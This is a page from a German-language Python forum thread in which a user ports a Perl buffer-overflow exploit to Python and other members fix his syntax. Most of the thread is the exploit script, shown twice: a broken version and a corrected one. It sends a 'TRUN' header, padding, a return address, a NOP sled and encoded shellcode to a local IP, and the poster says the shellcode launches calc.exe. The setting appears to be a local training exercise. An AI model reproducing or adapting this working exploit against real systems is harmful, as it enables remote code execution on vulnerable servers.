Seite 2 von 2

Re: Perl nach Python portieren problem (send data script)

Verfasst: Mittwoch 19. Oktober 2011, 14:52
von patzen
@Jens

Danke für deine Antwort :)

Ich hoffe ich hab Dich richtig verstanden.Ich hab das script jetzt mal so wie du sagtes geändert (zumindest hoffe ich das)

Code: Alles auswählen

#!/usr/bin/python 

import socket
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(address)

sock.send(data)
sock.close()

def main():
        header = 'TRUN /.:/'
        junk = '\x41'*2003
        eip = struct.pack('<I', 0x625011af)
        nop = '\x90'*20
        shellcode = ('\x89\xe1\xda\xc4\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43'
                     '\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58'
                     '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
                     '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
                     '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
                     '\x4d\x59\x43\x30\x45\x50\x43\x30\x43\x50\x4c\x49\x4b\x55'
                     '\x56\x51\x58\x52\x52\x44\x4c\x4b\x51\x42\x56\x50\x4c\x4b'
                     '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x54\x54\x4c\x4b\x52\x52'
                     '\x51\x38\x54\x4f\x4f\x47\x51\x5a\x47\x56\x50\x31\x4b\x4f'
                     '\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32'
                     '\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f\x37'
                     '\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x56\x32\x54\x50'
                     '\x4c\x4b\x50\x42\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30'
                     '\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x45\x51\x58\x50'
                     '\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x56\x38\x51\x30'
                     '\x43\x31\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47\x44'
                     '\x4c\x4b\x43\x31\x49\x46\x56\x51\x4b\x4f\x50\x31\x49\x50'
                     '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x43\x31\x58\x47\x50\x38'
                     '\x4d\x30\x52\x55\x4b\x44\x54\x43\x43\x4d\x5a\x58\x47\x4b'
                     '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x54\x54\x4c\x4b\x52\x52'
                     '\x51\x38\x54\x4f\x4f\x47\x51\x5a\x47\x56\x50\x31\x4b\x4f'
                     '\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32'
                     '\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f\x37'
                     '\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x56\x32\x54\x50'
                     '\x4c\x4b\x50\x42\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30'
                     '\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x45\x51\x58\x50'
                     '\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x56\x38\x51\x30'
                     '\x43\x31\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47\x44'
                     '\x4c\x4b\x43\x31\x49\x46\x56\x51\x4b\x4f\x50\x31\x49\x50'
                     '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x43\x31\x58\x47\x50\x38'
                     '\x4d\x30\x52\x55\x4b\x44\x54\x43\x43\x4d\x5a\x58\x47\x4b'
                     '\x43\x4d\x56\x44\x52\x55\x4d\x32\x56\x38\x4c\x4b\x50\x58'
                     '\x51\x34\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
                     '\x4c\x4b\x51\x48\x45\x4c\x43\x31\x4e\x33\x4c\x4b\x45\x54'
                     '\x4c\x4b\x43\x31\x58\x50\x4b\x39\x50\x44\x47\x54\x51\x34'
                     '\x51\x4b\x51\x4b\x43\x51\x56\x39\x50\x5a\x56\x31\x4b\x4f'
                     '\x4d\x30\x56\x38\x51\x4f\x51\x4a\x4c\x4b\x54\x52\x5a\x4b'
                     '\x4c\x46\x51\x4d\x43\x5a\x43\x31\x4c\x4d\x4b\x35\x4e\x59'
                     '\x43\x30\x43\x30\x43\x30\x50\x50\x43\x58\x56\x51\x4c\x4b'
                     '\x52\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4b\x4e\x54\x4e'
                     '\x56\x52\x5a\x4a\x52\x48\x4f\x56\x4d\x45\x4f\x4d\x4d\x4d'
                     '\x4b\x4f\x49\x45\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
                     '\x4b\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x52\x33'
                     '\x54\x32\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
                     '\x45\x33\x45\x31\x52\x4c\x45\x33\x43\x30\x41\x41'

        address = ('192.168.2.105', 9999)
        data = ''.join([header, junk, eip, nop, shellcode])
        send(address, data)

if __name__ == '__main__':

        main()

Aber ich glaube ich habe schon wieder was falsch gemacht :oops:

Fehlercode:

Code: Alles auswählen

root@bt:~# python exploit.jens.py
  File "exploit.jens.py", line 51
    address = ('192.168.2.105', 9999)
          ^
SyntaxError: invalid syntax
Kannst du mir noch einen Tip geben? Ich glaube das sock.send(data) und das sock.close() muss am Ende des scripts stehen? :K

Re: Perl nach Python portieren problem (send data script)

Verfasst: Mittwoch 19. Oktober 2011, 14:55
von Hyperion
Das mit der `main`-Funktion wurde ja schon zig mal gezeigt und erwähnt ;-)

Du hast die runde Klammer zu am Ende des Shellcode-Tupels vergessen!

Wir haben übrigens einen speziellen Python-Code-Tag hier - den solltest Du ruhig mal nutzen.

Re: Perl nach Python portieren problem (send data script)

Verfasst: Mittwoch 19. Oktober 2011, 15:04
von patzen
Hyperion hat geschrieben:Das mit der `main`-Funktion wurde ja schon zig mal gezeigt und erwähnt ;-)

Du hast die runde Klammer zu am Ende des Shellcode-Tupels vergessen!

Wir haben übrigens einen speziellen Python-Code-Tag hier - den solltest Du ruhig mal nutzen.
Danke Hyperion.Aber es funktioniert immer noch nicht.

Ich werde erstmal in den Büchern weiterlesen bevor ich nochmal was poste uns dann auch den code tag benutzen :oops:

Das script läuft ja ohne die main function, dann werde ich es erstmal so nutzen und lesen, lesen und nochmal lesen :wink:

Danke Euch allen für Eure Hilfe und habt einen schönen Tag.

Gruß
patzen

Re: Perl nach Python portieren problem (send data script)

Verfasst: Mittwoch 19. Oktober 2011, 15:11
von jens
patzen hat geschrieben:Aber ich glaube ich habe schon wieder was falsch gemacht :oops:
Jo, warum hast du def send(address, data): ganz raus geschmissen?

Code: Alles auswählen

#!/usr/bin/python

import socket
import struct


def send(address, data):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(address)
    sock.send(data)
    sock.close()


def main():
    header = 'TRUN /.:/'
    junk = '\x41'*2003
    eip = struct.pack('<I', 0x625011af)
    nop = '\x90'*20
    shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
                 '\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
                 '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
                 '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
                 '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
                 '\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
                 '\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
                 '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
                 '\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
                 '\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
                 '\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
                 '\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
                 '\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
                 '\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
                 '\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
                 '\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
                 '\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
                 '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
                 '\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
                 '\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
                 '\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
                 '\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
                 '\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
                 '\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
                 '\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
                 '\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
                 '\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
                 '\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
                 '\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
                 '\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
                 '\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
                 '\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
                 '\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')

    address = ('192.168.2.105', 9999)
    data = ''.join([header, junk, eip, nop, shellcode])
    send(address, data)

if __name__ == '__main__':
    main()

btw. vielleicht macht es auch mehr Sinn, die Adresse an main() zu übergeben... und vielleicht wäre es besser main() umzubenennen. Was macht der shellcode eigentlich?

Re: Perl nach Python portieren problem (send data script)

Verfasst: Mittwoch 19. Oktober 2011, 15:12
von Dav1d
Das script läuft ja ohne die main function, dann werde ich es erstmal so nutzen und lesen, lesen und nochmal lesen
Das ist imho leider der falsche Ansatz, der Weg mit der Main-Funktion ist dir von uns empfohlen worden (der Grund warum man diese haben sollte wurde schon ein paar mal im Forum angesprochen), dann solltest du dich auch damit auseinandersetzen ;), da dies dazu eigentlich keine große Sache ist (eine Funktion ist eins der elementarsten Dinge in der Programmierung), desweiteren können wir dir nicht helfen, wenn du uns keine genaue Beschreibung gibst (z.B. traceback, wie in den Postings zuvor).

Re: Perl nach Python portieren problem (send data script)

Verfasst: Donnerstag 20. Oktober 2011, 11:51
von patzen
@ jens

Jetzt funktionierts! Danke. :)

Oh man wie peinlich das ich def send. völlig vergessen habe :oops:
Der shellcode führt die Windows calc.exe aus nachdem der Server gecrashed ist.

Als nächstes muss ich den code nach Ruby portieren und ihn ins Metasploit framework einfügen.So kann ich dann verschiedene Shellcodes testen.Natürlich alles nur im lokalen Netzwerk und zu Testzwecken.
Dav1d hat geschrieben:
Das script läuft ja ohne die main function, dann werde ich es erstmal so nutzen und lesen, lesen und nochmal lesen
Das ist imho leider der falsche Ansatz, der Weg mit der Main-Funktion ist dir von uns empfohlen worden (der Grund warum man diese haben sollte wurde schon ein paar mal im Forum angesprochen), dann solltest du dich auch damit auseinandersetzen ;), da dies dazu eigentlich keine große Sache ist (eine Funktion ist eins der elementarsten Dinge in der Programmierung), desweiteren können wir dir nicht helfen, wenn du uns keine genaue Beschreibung gibst (z.B. traceback, wie in den Postings zuvor).
Ja, ich werde die main function jetzt auch immer verwenden.Mir wurde es nur langsam unangenehm Euch mit meinen Problemen voll zu spammen.Ihr habt ja schließlich auch noch was anderes zu tun :K
Aber ich habe viel gelernt danke Euch.
Danke nochmal an alle und vielleicht kann ich später auch Anfängern ein paar Tips geben :)

Euch allen einen schönen Tag

Liebe Grüße
patzen

Re: Perl nach Python portieren problem (send data script)

Verfasst: Donnerstag 20. Oktober 2011, 17:17
von Dav1d
Kein Problem, ich denke wir alle helfen dir gerne (so blöd die Fragen auch für dich scheinen mögen), solange du bereit bist zu lernen :).

Edit:// Ich habe auch mit solchen Fragen begonnen ;)

Re: Perl nach Python portieren problem (send data script)

Verfasst: Donnerstag 20. Oktober 2011, 21:00
von patzen
Dav1d hat geschrieben:Kein Problem, ich denke wir alle helfen dir gerne (so blöd die Fragen auch für dich scheinen mögen), solange du bereit bist zu lernen :).

Edit:// Ich habe auch mit solchen Fragen begonnen ;)
Danke :)